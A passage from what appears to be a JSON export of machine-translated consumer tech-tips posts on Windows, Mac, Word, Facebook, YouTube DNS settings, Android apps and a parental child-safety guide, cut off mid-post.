segment.\nDuring a cable break, Internet access to foreign sites will be affected, but domestic sites will still run normally.\nCurrently, network providers are working to add traffic to users with other backup methods, to minimize the impact of slow access to international sites.\nncG1vNJzZmismaXArq3KnmWcp51krrR5zp9kqJukpK%2BmvoxvZK2glWKuorOMn6CbnaJivLHAyJxknJmSobJutdJmmqiloKGytbHLsmSrnaCWtrOxww%3D%3D\n","link":"/post/as-of-october-6-the-aag-fiber-optic-cable-is-completely-repaired/","section":"post","tags":null,"title":"As of October 6, the AAG fiber optic cable is completely repaired"},{"body":"1. Install your favorite softwares You often get in the habit of using softwares from old computers. When you switch to a new computer there's no reason to change them. Instantly download the apps you love to make your PC more familiar. Avoid having to mess around with each website to download your software list, Thuthuatphanmem recommends using the Ninite tool.\nNinite allows you to choose the most popular softwares and helps you to download them all at once.\nFirst, visit the Ninite.com website. At the main interface, select the software you want to install from the list.\n  After you have made your choices, scroll down and click Get Your Ninite . Open the downloaded file and Ninite will automatically install the software of your choice.\n  2. Install anti-virus software Next, make sure your PC is safe. You can install anti-virus software for free, but lately some are not as secure as they used to be. To get the most accurate choice, please refer to the article Top 5 best free antivirus software.\nIn addition, Microsoft has also developed its own antivirus utility for Windows 10: Defender. This is the built-in protection tool for the computer, so far we have no doubts about its robustness and outstanding capabilities.\n3. Update your Driver When your PC first comes out of the store, it's likely that the manufacturer has released a new driver update while the computer is \"waiting\" for you to buy it. Therefore, you should update all drivers to prevent future problems. If you do decide to use your computer to play games, updating the drive for the GPU is one of your top priorities. Otherwise, you may experience gear or or performance issues while playing.\nRefer to 4 ways to update the driver for the computer.\n4. Check Windows 10 updates again In Windows 10 operating system, Microsoft is very active in updating new versions. That way, the new Windows always works smoothly to make sure not to interrupt your workflow.\nYou press the Windows + I combination to open Settings. When the window opens, navigate to Update \u0026amp; Security .\n  At the Windows Update tab, select Check for updates to let Windows check and update to the new operating system version.\n  If the feature update is available, you can click Download and install to download and install immediately.\n  5. Install default apps Everything is set up and all your programs are ready, now install it so that your favorite software is used by default.\nOpen Settings similar to the step above, this time choose Apps .\n  In the left menu column, go to the Default apps tab .\n  You proceed to set the default applications for each task including:\nEmail Maps: Map Music player: Music player application Photo Viewer: Application for viewing photos Video Player: Play video Web browser: Web browser   After completing the above steps, the desk has set up yourself a Windows computer properly so that it becomes a powerful support tool for your work and entertainment. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6K%2FyJxkrJ2kqbavs9JmnaiqXZZ6r7HWZq6ippSkxLR5wqikqa2kmr8%3D\n","link":"/post/basic-settings-for-a-new-windows-computer/","section":"post","tags":null,"title":"Basic settings for a new Windows computer"},{"body":"Apple has just released the Mac OS X 10.7 (Lion) version via the Mac App Store online. Here's how to install the \"lion\" (Lion) on a Mac or upgrade from the \"snow leopard\" (Snow Leopard).\n  Mac OS X Lion 10.7 operating system\nFirst, you should note that in order to use Mac OS X 10.7 (Lion), the Mac must have Mac OS X 10.6.6 - 10.6.8 preinstalled (Snow Leopard). In addition, in terms of configuration requirements, Mac needs at least 2GB of RAM, 4GB of free space to install and must use new Intel processors such as the Core 2 Duo and Core family. \"i\" latest (Core i3 / i5 / i7). If you have met the above requirements, you might consider owning Mac OS X 10.7.\nSteps to proceed First, you need to buy and download the Lion installer from the Mac App Store to a machine running Snow Leopard and compatible with Lion. After the download is complete, right-click the installer and select \" Show Package Contents \" to display and access the files inside the installer.\nNext, open the \" Contents \" folder and then the \" SharedSupport \" folder. Inside, you will see a file called \" InstallESD.dmg \". This is the disk image file that we need to use. Copy \" InstallESD.dmg \" to another folder outside the installer (backup to the hard drive).\nOpen the \" Utilities \" folder on your Mac and run the \" Disk Utility \" application, select \" Burn \" from the \" Images \" option menu or you can click on the yellow and black icon in the menu bar (menu bar).\nNext, copy the copied \" InstallESD.dmg \" file to the hard drive in the previous operation, select it and insert the DVD into the burner (note the standard 4.7GB DVD disc), waiting for the burning process to finish, you already have a Mac OS X Lion boot DVD.\nUsing the newly created DVD, you can launch any Lion-compatible Mac and install OS X Lion similar to previous Mac OS X versions. It is more convenient when you can also use the Restore function of Disk Utility to create a disk image (image) for a Lion DVD and copy it to a portable hard drive. This helps install Lion for MacBook Air or Mac Mini server computers that do not have a DVD drive.\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqWRmHqwv4yxZKWhn6N6qrrSrZilpJGptrC6jJ2grKNdm7yzecyamg%3D%3D\n","link":"/post/create-mac-os-x-lion-installation-disk-for-mac/","section":"post","tags":null,"title":"Create Mac OS X Lion installation disk for Mac"},{"body":"During the drafting of Word content, you will have to deal with a lot of errors that affect the content as well as the text layout, such as a typo error when typing in Word 2007. When you proceed to type the content above Word documents, words suddenly joined together. In particular, this situation is often encountered when we open documents from Word 2010, or 2013 versions.\nWord errors in Word will affect the content and layout of the entire document. The reason is because it is not compatible with the Office suite you are using. So how to handle this situation? In this article, the Network Administrator will show you how to handle word sticking with Word 2007.\nYou can see some more ways to fix other Word errors:\nHow to fix the line spacing when aligning in Word How to fix the error of accent marks when writing capital on Word How to fix errors automatically jumps pages on Word How to fix Vietnamese typing errors in Word, Excel Instructions for fixing errors with missing words when entering content in Word Step 1:\nFirst of all, you open the worded Word document. Click on the Office Button button in the Word interface, on the top left. Then select Word Options .\n  Step 2:\nIn the Word Options interface, we select the Proofing item.\n  Step 3:\nIn the When correcting spelling and grammar in Word section , we will remove all 5 options as shown below. Then click OK to leave the result.\n  In addition to limiting the above error, we should also leave the document in .doc format instead of .docx. Because when converting to .doc tail format, the text will be compatible almost with all versions of Word and we can open the text on many different versions of Microsoft Word.\nAlso at the Word Options interface, select Save .\n  Looking at the right interface in Save files in this format , we will convert to a text file format in .doc by clicking on the triangle icon and selecting Word 97-2003 Document (* .doc) .\nFinally click OK to change this setting again.\n  The above is a guide to fix the words that stick together when we enter the text content in Word 2007. Besides, to limit this situation, you should also use the .doc format for Word documents. 2007, to be compatible with Word 2003, 2010 or 2013 versions.\nRefer to the following articles:\nCreate a quick dot (……………) line in Microsoft Word Simple way to convert PDF files to Word How to quickly convert Word files to PDF? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjLCmq5xdqMGqr8qipaBllae%2FsL7SZqCnZaekv6V5kWlncA%3D%3D\n","link":"/post/fix-word-sticking-errors-in-word-2007/","section":"post","tags":null,"title":"Fix word sticking errors in Word 2007"},{"body":"Safari browser on macOS also defaults to 100% zoom level as other browsers. And during use, there will be a website you want to zoom in to see something carefully, or for an older person you want the Safari browser to always open at a zoom greater than 100%. Safari on macOS allows users to change the browser zoom level or change the zoom level for a web page only. The following article will show you how to change the zoom level on Safari macOS.\nInstructions to change zoom level for Safari macOS Open Safari and click Safari on the menu bar , select Preferences as shown below.\n  Switch to the new interface, click Website and select Page Zoom . Then look down the interface at the When Visiting Other Websites setting , enter the% zoom in or out as you like every time you access the Safari browser. All websites will be set at the zoom level you have chosen.\n  In case you want to change the website zoom level different from the browser default zoom level, you access the website and then click Safari and select Settings for This Website .\n  Display the setting interface for the website, click Page Zoom and then select the zoom level for this site .\n  To reset the level to 100% for any web page, press Command + 0, then hold Command and press - or + to zoom in or out to the default 100%. Or press Options + Command and also press the - or + key to adjust the zoom level for web pages.\nIf you just want to change the zoom level for text on a webpage, press the Options key and select View. Continue to press Options and select Make Text Bigger or Make Text Smaller to enlarge or reduce the text.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llJqzosHLrWSzp5%2Bieq2x1Z6jZqeeYsCissCroGalkZi8tA%3D%3D\n","link":"/post/how-to-change-the-default-zoom-level-on-safari-macos/","section":"post","tags":null,"title":"How to change the default zoom level on Safari macOS"},{"body":"Are you new to facebook so you don't know how to find friends, how to send friend invitations on facebook? So please refer to the article below to learn how to find friends, how to send friend invitations on Facebook.\n  Here TipsMake.com shows you how to find friends, how to send friend invitations on Facebook, invite you to follow.\nHow to find friends on facebook 1. Quick search for friends on the computer You enter the name of a friend, phone number or email of friends in the search box above the facebook interface and press Enter (or search icon) to search.\n  A list of facebook that matches your search term will be displayed.\n  You can also search for friends by viewing suggestions you may know by selecting the friends icon -\u0026gt; Find friends.\n  Here will be the invitation of other people to request you, you drag the slider along the bottom will have the Friends you can know and find the friends you want.\n  2. How to find friends from your mobile phone or email account On your facebook home page, enter the name of the friend to search in the search box and click search to search for friends.\n  Or you can search for friends by selecting the three dash menu icon -\u0026gt; Friends.\n  Select Suggestions for facebook to make friends you may know, here you can search for friends.\n  How to send friend requests on Facebook After finding friends you can add friends by selecting Add friends to send friend requests on facebook.\n  Or you can click on the person's name in his or her comment or post to open their profile.\n  Then click Add friends to send your friend invitation.\n  On your phone, you can send friend requests by searching for friends and select the add friend icon as shown below to send friend requests.\n  Or on the profile of the person you want to make friends with, select Add friends.\n  You can also press the three dash menu icon and choose Friends.\n  Select the suggestion section you can search for the friends you want to make friends and select Add friends to send friend invitations to them.\n  On the Profile page, Add friends button will be below the avatar and the name of the person, if you do not see the Add friends button, this person has hidden this button but does not want others to send friend requests to them, or they let friend's friend mode only accept friend requests from people with whom they have mutual friends.\n  So, here TipsMake.com has shared with you how to find friends, how to send friend requests on facebook. Hopefully, through this article, you can easily find friends and send friend invitations to them. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FustGinKeco2K1sMOMraZmq5WjsW6y0aKcp5xdnru3tdOaq6Knnqh6sLqMn5icnZKkvKw%3D\n","link":"/post/how-to-find-friends-how-to-send-friend-invitations-on-facebook/","section":"post","tags":null,"title":"How to find friends, how to send friend invitations on Facebook"},{"body":"Youtube is now a very large and popular social network for all ages, Youtube will help you have moments of entertainment after long time of work and study. But YouTube has a server located in a foreign country, so we sometimes encounter the error of not being able to access Youtube. Today, the Software Tips will guide you on how to fix the error cannot access YouTube.\n  Reset network connection Network connection is also a big reason for not being able to access YouTube due to the bandwidth congestion or the service provider's connection and transmission problems affecting the access process. Reconnecting the Internet helps your computer access the service provider's connection and clears out old network caches. How to reset the network on the computer is also very quick, you proceed to do the following:\nStep 1: Click on the computer icon on the Taskbar and select Network \u0026amp; Internet Settings .\n  Step 2: Next, a new window will pop up, select N etwork and Sharing Center .\n  Step 3: Then, the Network and Sharing Center window opens and proceed to select Change adapter settings .\n  Step 4: By this point you need to identify the main transmission of the Internet, usually will be called Ethernet . You double-click to open the installation window.\n  Step 5: When Ethernet Status window is opened, select Disable to disconnect the network. Then close this window.\n  Step 6: At this point, your Enthernet icon is gray. You right-click on the icon and select Enable to reconnect to the network.\n  Reload the Youtube page Sometimes, the browser has an error that affects the transmission line or data on the system. It could also be due to the loss of Internet usage during the browser and the browser can not reconnect to the Internet itself, affecting the connection. You just need to press F5 or click the reload icon to finish.\n  Change the DNS address If your service provider blocks YouTube, changing the DNS address will help you overcome that problem and can access YouTube again and greatly improve the speed. To change the DNS address you do the following:\nStep 1: Click on the computer icon on the Taskbar and select Network \u0026amp; Internet Settings .\n  Step 2: Next, a new window will pop up, select Network and Sharing Center .\n  Step 3: Then, the Network and Sharing Center window opens and proceed to select Change adapter settings .\n  Step 4: By this point you need to identify the main transmission of the Internet, usually will be called Ethernet . Right-click on the icon and select Properties to install.\n  Step 5: Next, double click on Internet Protocol Version 4 (TCP / Ipv4) .\n  Step 6: You select Use the following DNS server addresses and enter the DNS address.\nSome common DNS:\nGoogle DNS:\nPreferred DNS server: 8.8.8.8\nAlternate DNS server: 8.8.4.4\nNorton ConnectSafe:\nPreferred DNS server: 199.85.126.10\n Alternate DNS server: 199.85.127.10\nDNS FPT:\nPreferred DNS server: 210.245.24.20\n Alternate DNS server: 210.245.24.22\n  Update the computer's date and time The date and time will affect the real-time connection of the Internet and use of various services. If the time is incorrect, the provider will not recognize the access device.\nStep 1: You proceed to click on the Date and Time on the Taskbar and then select Date and Time Settings .\n  Step 2: Then, you select Set the time automatically and turn ON to let the system automatically retrieve data on the Internet and update the date and time according to the area of ​​the device being accessed.\n  Reduce the resolution of the Video Unstable Internet speed is also one of the main reasons affecting YouTube's inability to access. When encountered this reason is mainly due to the loss of AAG optical cable affecting international data transmission. You have to accept the view with low resolution to be more stable.\n  Restart the computer Restarting the computer will help the software and data are restored to the default so that the system can reconnect to the Internet server. Restarting the computer is always the fastest and most effective way to deal with all errors on the computer.\n  Clear browser data With each browser always save the operation and data of the user in the long run. In the course of use, we accidentally install something on the browser that affects the connection or block the YouTube page, deleting the browser data to help solve those problems.\n  Thus, in this article, Software Tips have shown you how to fix YouTube inaccessible error. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pK3NZqWorF2WsKSx0qxksqelqcKjsQ%3D%3D\n","link":"/post/how-to-fix-the-error-can-not-access-youtube/","section":"post","tags":null,"title":"How to fix the error can not access YouTube"},{"body":"In addition to the main features of calling and messaging, Skype also has a built-in desktop sharing feature that helps you and your family and colleagues can support each other more easily. So how to share screens on Skype? Let's find out more with TipsMake.com through this article!\n  Step 1 : First you open the application, Skype software and log in your account.\nStep 2 : Then you open the conversation with the person you want to share the screen with. Then select a voice or video call.\n  Step 3 : Then at the call interface, click on the Share Screen icon.\n  Step 4 : Your desktop screen will then be captured and displayed in a new window. Now to share the screen with the interlocutor, select Share screen .\n  Soon all your activities on the screen will be shown to the opposite person. Thanks to that you can guide remote manipulation easily for your loved ones.\nThe above is a guide for sharing - sharing screens on Skype software. Thank you for following the article. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmedKhmKudXam1pnnSnKmenZ5ivK950qSwqZ0%3D\n","link":"/post/how-to-share-share-the-screen-on-skype/","section":"post","tags":null,"title":"How to share, share the screen on Skype"},{"body":"Text to speech text-to-speech technology has long been familiar to users, as Google is now becoming the most popular reader. And recently, FPT has launched new technology FPT.AI Speech, with features similar to Google but with more useful options.\nAccordingly, users can choose the voice of the North, Central and South with the Northern female voice (Thu Dung), the North of the North (Cao Chung), the North of the South (Le Minh) and the Southern female voice (Ha Tieu Mai), Central female voice (Ngoc Lam). The voices are much more natural, automatically interrupting when reading long sentences or when there are punctuation marks, combined with intonation if desired. The following article will guide you how to use FPT.AI Speech.\n3 simple ways to download pronunciation files on Google Translate Some useful tips with Google Translate 5 tips should be used when using Google Translate for overseas trips Instructions for using FPT.AI Speech online Step 1:\nUsers access the link below to visit FPT.AI Speech homepage.\nhttps://fpt.ai/en/tts-vi/ The white frame is used to enter the text of the text you want to switch to. Below select the voice area you want to use, then select the reading speed .\n  Step 2:\nNext, check the box Add the intonation to the question if you want. Click Text Analysis .\n  Step 3:\nThen we need to answer the confirmation question as shown below. The questions will constantly change after the times you want to analyze the text.\n  Finally, the text will be read by the voice itself according to the area selected by the user. Text reading time is displayed right in the interface.\n  See more:\nHow to translate Vietnamese via images on Google Translate How to translate web pages on Google Translate Chinese translation applications on quality phones I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqnvNOaoGaroJqypLSMq5yanKNiwabE02ajoqOVYrSwu8alnA%3D%3D\n","link":"/post/how-to-use-fpt-ai-speech-reads-text-like-google/","section":"post","tags":null,"title":"How to use FPT.AI Speech reads text like Google"},{"body":"Minimize windows on Windows is a function to minimize a window you are turning on the taskbar. When this window will be arranged vertically as a miniature model waiting for you to pop up to see again.\nNormally to be able to do so, most of you left click on the Minimize icon in the left corner of the window, but Windows allows you to use keyboard shortcuts to be able to perform operations faster.\n  We can use the following keyboard shortcuts to minimize windows on Windows.\nWindows key + D : With this shortcut, you can minimize all the windows that are currently on the taskbar. Press it again, the window will return to the status shown on the screen as before zoomed out.\nWindows + M : With this shortcut, you can also perform the function of minimizing all the windows that are opening on the taskbar as above, but pressing again, it cannot show all the windows again. medium sized window.\nAnother slower way to minimize the Windows window is to use Alt + Space . An options panel will appear with different functions performed on your window pane.\n  You can use the two up and down arrow keys to select Minimize, which will also minimize the Windows window on the Taskbar.\nOr press the shortcut T if you are leaving the operating system in the Vietnamese language (you can see the word Minimize is underlined under the letter t). Press the shortcut N if you are operating the operating system in the English language (you will see the word Minimize underlined n).\nThere are different methods for using window shortcuts on Windows.\nncG1vNJzZmismaXArq3KnmWcp51kuKbFwaiYq5xdqLWwvtOcrK2rXZu8s3nMoqWipZmvtq%2BzjLCgp5yfrMA%3D\n","link":"/post/keyboard-shortcuts-for-minimizing-windows/","section":"post","tags":null,"title":"Keyboard shortcuts for minimizing windows"},{"body":"Whether you want to completely overhaul your home screen or are looking for a faster and cleaner home launcher, Nova is the tool you are looking for.\nDownload Nova Launcher here.\nFeatures of Nova Launcher - Brings the latest features : Nova brings the latest features of Android launcher to all other phones.\n- Custom icon themes : Nova supports thousands of icon themes available in Play Store.\n- Night Mode and Dark Theme : Let Night Mode automatically turn on at a specific time or just let it work on Dark Theme.\n- Customizable App Drawer : Vertical or horizontal scrolling, page effects, and immersive or card options are just a few of the things you'll find available in the app drawer.\n- Sub-grid positioning : With the ability to snap icons and widgets between grid cells, it's easy to get the exact feel and layout of Nova in a way that most other launchers can't. Okay.\n- Backup and restore : Move data from one phone to another or try new home screen settings in a snap thanks to Nova's backup and restore feature. Backups can be stored locally or saved to the cloud for easy transfer.\n- Speed : Nova is highly optimized, with smooth and fluid animations that make even older phones feel fast and smooth.\nWhat changes does Nova Launcher 7 bring? After 8 months of development, Nova Launcher 7 is finally out on the stable channel. This much-awaited update brings many improvements to the beloved Nova Launcher, including new animations and visual styles, weather icons in the search bar, enhanced Nova search, swipe actions new down, etc.\nWhile previous versions of Nova Launcher were based on the open source Launcher2, the latest version is based on the latest AOSP launcher code, offering refreshed animations and visual styles. The developers have also updated the code specifically for Nova.\nAs for the new features (via Android Police), you can now add a weather icon to the home screen search bar. Next, there's a new swipe-down gesture that you can assign to an app, Nova action, or app shortcut.\nYou can also reshape icons by theme and toggle forced reshape for each icon. In addition, it is also possible to change the corner radius of the widget. To do so, go to Nova Settings \u0026gt; Desktop \u0026gt; Widget corner radius .\n  The changes that apply to the Nova Launcher v7.0.45 update include:\n- Visual refresh - Based on the latest AOSP launcher code and Nova specific code updated to match the latest animations and visualizations\n- Weather icon on the search bar ( Nova Settings \u0026gt; Search \u0026gt; Desktop Search Bar \u0026gt; Weather )\n- Swipe down action on icons (requires Prime)\n- Advanced Nova search\n- Reshape icons by theme and switch reshape each icon\n- Options for Android for Work apps in their own tab\n- Customizable widget corner radius ( Nova Settings \u0026gt; Desktop \u0026gt; Widget corner radius )\nNova Launcher v7.0.45 will launch on the stable channel in Google Play. A TeslaCoil employee confirmed that the stable update is currently only available to a small percentage of users. The update will gradually roll out to more users in the coming days. If you don't want to wait, you can download the APK file from Nova's website or APKMirror.\nncG1vNJzZmismaXArq3KnmWcp51ku7DCwGajmq2emLWmvoydprCmnKSupXnNqK2aZZyWwq%2Bvx56pZqCVp7I%3D\n","link":"/post/nova-launcher-download-nova-launcher-here/","section":"post","tags":null,"title":"Nova Launcher - Download Nova Launcher here"},{"body":"In the past few years, the situation of sexually abused children has increased with dizzying numbers. Not only abroad but this situation also occurs in Vietnam. This is a problem in an alarming society when the personality of these people is further corrupted, interesting and loss of humanity.\nChildren are sexually abused, not only suffering from physical pain, but the mental pain is also haunting in their thoughts later, it cannot be erased.\n  According to the investigation of the High-tech Crime Prevention Police Department, Ministry of Public Security, from 2011 to 2015, there were 8,200 cases of child abuse with a total of 9,920 victims, an increase of 258 victims compared to with 5 years earlier. In particular, male sexual abuse has shown signs of increasing.\nThe report also said that in these sexual assaults the perpetrator causing this pain for them is the closest people like teachers, acquaintances, and even stepfather . of their children. .\n  Also according to a new report released by UN Women, 4.5 million people worldwide are victims of sexual abuse. Among them, 98% are women and girls. One in four girls is sexually abused. 1 in 3 women in the world suffer from physical or sexual violence, mostly by familiar people.\nWith the above figures, you will surely be startled by the current pedophile situation. So how can your child avoid this sexual abuse? Parents apply the 5-finger principle, parents teach children how to distinguish relatives, acquaintances and strangers in communication, helping them to limit the possibility of sexual abuse.\nHere are 5 principles that kids need to remember:   The thumb : the closest to the family members, the grandparents, the parents, the siblings - the baby can hug everyone or agree to have family members kiss and show love, bathe when she is young.\nIndex finger : symbolizes teachers, friends at the school or relatives of the family. These people can hold hands, shoulder or play.\nMiddle finger : acquaintances like neighbors, friends of parents - babies can shake hands to greet them.\nThe youngest finger : meeting a person who has just met for the first time, the baby may stop at the wave of waving.\nPinkie : the smallest finger shows the complete strangers or the person with intimate gestures, making the child feel anxious and insecure, he can completely run away, shout loudly to inform people around.\n  In addition, remind your child that \"no one has the right to ask children to touch their private parts\". Parents often forget this part. However, sexual abuse often begins when the perpetrator asks the child to touch them. Safety rules apply all the time not only to strangers but also to acquaintances or other children because most victims are sexually abused by acquaintances and trusted people.\nIn addition to the five-finger rule, to guide children to avoid the dangers of pedophilia and to protect parents themselves should teach them to protect themselves from the following problems.\nUnderwear : Do not let anyone see your baby's underwear except parents, doctors or nurses. The doctor or nurse must wear a uniform during medical examination and they also need the consent of the baby and the family.\nAlways remember your body is always yours : The body is your own, no one has the right to touch or do anything on your body without your permission or to make you uncomfortable.\nNo, no : You have the right to refuse any physical contact or touch that makes you dislike all people, including family members.\nTeach children to share secrets with their parents :\nMost sexually abused children never tell their parents how they were abused. So encourage, motivate your child to share the things they meet every day that they feel is not right about something adults say or do. Let your children know and trust their parents, that you will not hit, yell at them but will listen to them and will find ways to protect them safely.    In addition, parents can guide and protect their children in the following way: Parents practice with the baby\n* Recalling many simple safety instructions for children:\n- \"If someone touches your child abnormally, tell her about it. Mom will help you.\"\n- \"Adults do not need to touch children's underwear / swimwear unless it is for health or hygiene reasons.\"\n- \"You should not go far away or take a car or receive gifts from people who you don't know no matter what they say.\"\n* Set up family rules:\n- \"You shouldn't let others know if you're alone at home\".\n- \"You can say\" no \"to anyone who wants me to break the family rules.\n* Practice how to handle situations:\n- \"If you are playing (somewhere) and a man or woman brings you into the car or into their house? .\".\n- \"If someone does good things to make you touched and ask me to keep it a secret? .\".\n- \"If someone gives you money (or something you really want) to break our family rules? .\".\n* Teach children how to say verbally:\n- \"Is not\".\n- \"I don't want to be teased.\"\n- \"Leave me alone. I'll scream\".\n- \"You are not allowed to do that.\"\nWhen teaching children to say no, show them how to pull their hands off someone's hand, run, shake their heads .\nncG1vNJzZmismaXArq3KnmWcp51kwamxjG6doqaXmr9uvtSlnGaslZawqbXNoGScoJmhsbOxzWarqGWRq7yqsIysnLGtkaF6oq7UrJxmq5ikwq2wjJqjpWWglr%2BmutOsZKSmn6w%3D\n","link":"/post/the-5-finger-rule-teaching-children-to-avoid-sexual-abuse-should-all-parents-know/","section":"post","tags":null,"title":"The 5-finger rule, teaching children to avoid sexual abuse, should all parents know"},{"body":"A file with the .PAT extension extension is most likely a sample image file (Pattern Image file) used by graphics programs to create a template or texture on an image with a smaller and often available image. square.\nHowever, there will be some exceptions.There are several files in another format although it also uses the same extension as PAT.For example, it may be a DiskStation Manager Installation file, Gravis UltraSound GF1 file, 3D Patch file or Kega Fusion Cheats file.\nTip: Before trying to open a file, double-check whether it is mistaken for files that have similar or similar extensions.You can read more about file types with extensions that are similar to .PAT at the bottom of this article.\nHow to open a PAT file   \nPAT files are sample image files that can be opened with Adobe Photoshop, GIMP, Corel PaintShop and some other popular graphic and image processing tools.\nNote;If you double-click a PAT file but still cannot open this file in Photoshop, navigate to the Edit\u0026gt; Presets\u0026gt; Preset Manager menu item . Select Preset Type as Patterns and then click Load . to select the PAT file needed open.\nIn addition, a PAT file can also be used as AutoCAD hatch Pattern, CorelDRAW Pattern file or Ketron Sound Pattern file.These types of templates can be opened in turn by Auotdesk AutoCAD, CorelDRAW Graphics Suite and Ketron Software.\nDiskStation Manager Installation files are used with Synology Assistant.In addition, PAT Gravis UltraSound GF1 files can also be played using FMJ-Software's Awave Studio.3D Patch files also use the .PAT file extension.These are usually just text files describing 3D models, meaning Autodesk AutoCAD's Surfaceodes and AeroHydro can open them, so it can also be opened with a free code editor.\nTip: If you find that an application on your PC has tried to open the PAT file but it is an application that you do not want to use or if you want another program to open PAT files, see the article '7 ways Change the default applications in Windows' to understand how to do that.\nHow to convert a PAT file   \nSample image files used by Photoshop and other image editors are usually just small images that those programs use repeatedly on a drawing frame to create a new template.This is to say that there is really no good reason to convert PAT files to another format.\nHowever, since they are open image files in graphics programs as mentioned above, you can only open the PAT file and create a small template, then save it as JPG, BMP, PNG .\nA file converter named reaConverter can convert PAT files into JPG, PNG, GIF, PRC, TGA, PDF and many other formats.However, this program only gives you a free trial for a short time, so you can only convert a few files before you have to pay to use this software for a long time.\nWhat is the difference between JPG, JPEG, GIF, PNG and SVG image formats? CAD software, CorelDRAW and Ketron can convert PAT files used in those programs.The option to save PAT files in another format can be in the File\u0026gt; Save As or File\u0026gt; Export menu.\nIf you still cannot open PAT files even though you have used the above methods, then it is possible that your file is not actually in PAT format.Some file types with a look-through extension look very similar to the extension of the .PAT file, so you should also double check the standard file extension.\nSome examples include PPT and PST files, both of which are easily mistaken for PAT but in fact they are completely unrelated.PST files are Outlook files that store personal information and are opened with Microsoft Outlook.\nThe APT file format can sometimes be confused with PAT but in fact they are plain text files.These files contain absolutely no images, but instead are text files that you can open with any text editor (such as Notepad in Windows).\nHope the information in the post useful to you!\nSee more:\nWhat file is XSPF? How to open, edit and convert XSPF files List of some types of files that are potentially dangerous on Windows What file is MODD? How to open, edit and convert MODD files M3U is what file? How to open, edit and convert M3U files ncG1vNJzZmismaXArq3KnmWcp51kxKmt02adoqSVYra0ec%2Baq2agn6x6tbuMqKeepl2asarAjJqlnWWTpLu3sdGtZKmZpGKzqrjErA%3D%3D\n","link":"/post/what-file-is-pat-how-to-open-edit-and-convert-pat-files/","section":"post","tags":null,"title":"What file is PAT? How to open, edit and convert PAT files"},{"body":"Halloween is coming, discover this festival right on your Android phone through scary and ghostly games.On the Google Play app store, there are many Halloween games, below is a list of 10 good and free Halloween games for you to experience in this special festival.\n16 effective English word puzzle games on Android and iOS 1. Samurai vs Zombies Defense   Samurai vs Zombies Defense is a role-playing defense game genre, the player transforms into a samurai fighter against the zombies to protect the village. Your mission is to find allies and build strong defenses to prevent the onslaught and fierce attack from the zombie army.\n2. Pumpkins vs. Monsters   Pumpkins vs. Monsters is a great game on Android mobile phones. In the game, you have to arrange the squash of the same color (at least 3 fruits) to throw at the monsters. It is similar to Plants vs Zombies, the higher the level, the more monsters and the harder to deal with, you can buy more support tools in the shop to fight them more easily.\n3. Shoot The Zombirds   Shoot The Zombirds is an extremely interesting game, the player must destroy the ghost birds and zombies by shooting at them to protect the boy Pumpkids. Scary sound along with a scary graveyard made the game more attractive and attractive to players.\n4. Bubble Blast Halloween   Bubble Blast Halloween is a completely free puzzle game for Android devices. Your mission is to touch a Halloween character that activates a chain reaction to eliminate them. It has two game modes: Puzzle mode (with 5,000 levels) and Arcade mode (arbitrary play).\n5. Dark Legends   Dark Legends is an extremely attractive fantasy horror action game about the time of vampires and dark magic. The player plays an immortal vampire with fangs, super speed, equipped with hundreds of weapons to kill demons, werewolves and Warlock.\n6. Zombie Farm   By demonstrating new with a whole Zombie farm, Zombie Farm is full of interesting, funny and attractive features like other farm games. The player's task is to sow the seeds, plant the plants with the products that are of all kinds of zombies. The Zombie will be the farm guardian for you later.\n7. Witch Wars: Puzzle   Character creation resembles the Sailor Moon anime. Witch Wars: Puzzle has the same gameplay as the classic Diamond puzzle, you have to arrange the same treasures into a horizontal or vertical row of 3 or more to score. The game has 4 levels of play: online play, single player, scoring within one minute and Infinite mode - play until the highest record possible.\n8. Connect'Em Halloween   This game belongs to the intellectual category and puzzle. Players must connect the blob sides of the ghost logically to step through the next round. Connect'Em Halloween consists of 3 game modes: Challenge (challenge with 2,000 levels), Arcade (optional), Time Attack (timed).\n9. Doctor Bubble Halloween   Doctor Bubble Halloween is a Halloween-style bubble shooting game. It has a play style similar to that of Dynomite Deluxe.\n10. Gears \u0026amp; Guts   Gears \u0026amp; Guts belongs to the genre of horror shooting racing. Players are equipped with advanced armored vehicle system with lots of weapons to fight against zombies. Beautiful graphics and simple, attractive gameplay will be a game worth playing in this Halloween season.\nncG1vNJzZmismaXArq3KnmWcp51kfnF50q6nnqpdmLywuIyhmKWkn6yyprqMoJimnaNis7C%2BjJqlnaqfnrFufo9qbg%3D%3D\n","link":"/post/10-super-cool-halloween-games-for-android-2017/","section":"post","tags":null,"title":"10 super cool Halloween games for Android 2017"},{"body":"For ebook lovers, owning a book library at hand is a great thing. And if you store ebooks on your phone, you can enjoy them wherever you go. Check out the following great ebook reader apps for iPhone.\nTop 5 great Android reading apps Marvin\nMarvin can read ebook from your personal library as easily as using Caliber with OPDS system. The application can search for free ebook websites like Project Gutenberg and download the ebook you want. Featured features include: dark screen mode and Flux screen for eye protection when reading at night; great copy tool; ability to customize infinite colors; Deep view reading mode and a brief summary of characters and locations; Karaoke mode touches words to read quickly (like Spreeder).\n  Marvin also supports CBX files for comics and TTS reading functions for audiobok provided by Siri. Markers are quite powerful but not easily accessible. Captions and colors to mark are easier to implement. However, if you use the free version, banner 'upgrade now' will constantly appear and remind you to upgrade to the prenium version.\ntiReader\ntiReader is not simply an ebook reader application, it is a tool to read all kinds of books with great annotation support. Annotation support includes: An annotation for the image viewer with a table of contents based on the ZIP file directory structure; annotate and bookmark DJVU files; Captions and bookmarks are searchable for audiobooks. The annotation tools are very powerful and complete. But if you just want to find a simple ebook reader, tiReader's annotation feature can make you feel messy.\n  The interface of tiReader gives users the feeling of Windows experience rather than iOS. If you already have your own ebook library, you can link to OPDS servers or cloud services like Dropbox. You'll also find built-in connectivity for free ebook repositories like Project Gutenberg. If you want the application to be able to read all types of media, select tiReader.\nKyBook 2\n  Kybook 2 provides great integration with the ebook library available as Project Gutenberg. However, to see your ebook with Kybook is a bit difficult. The application seems 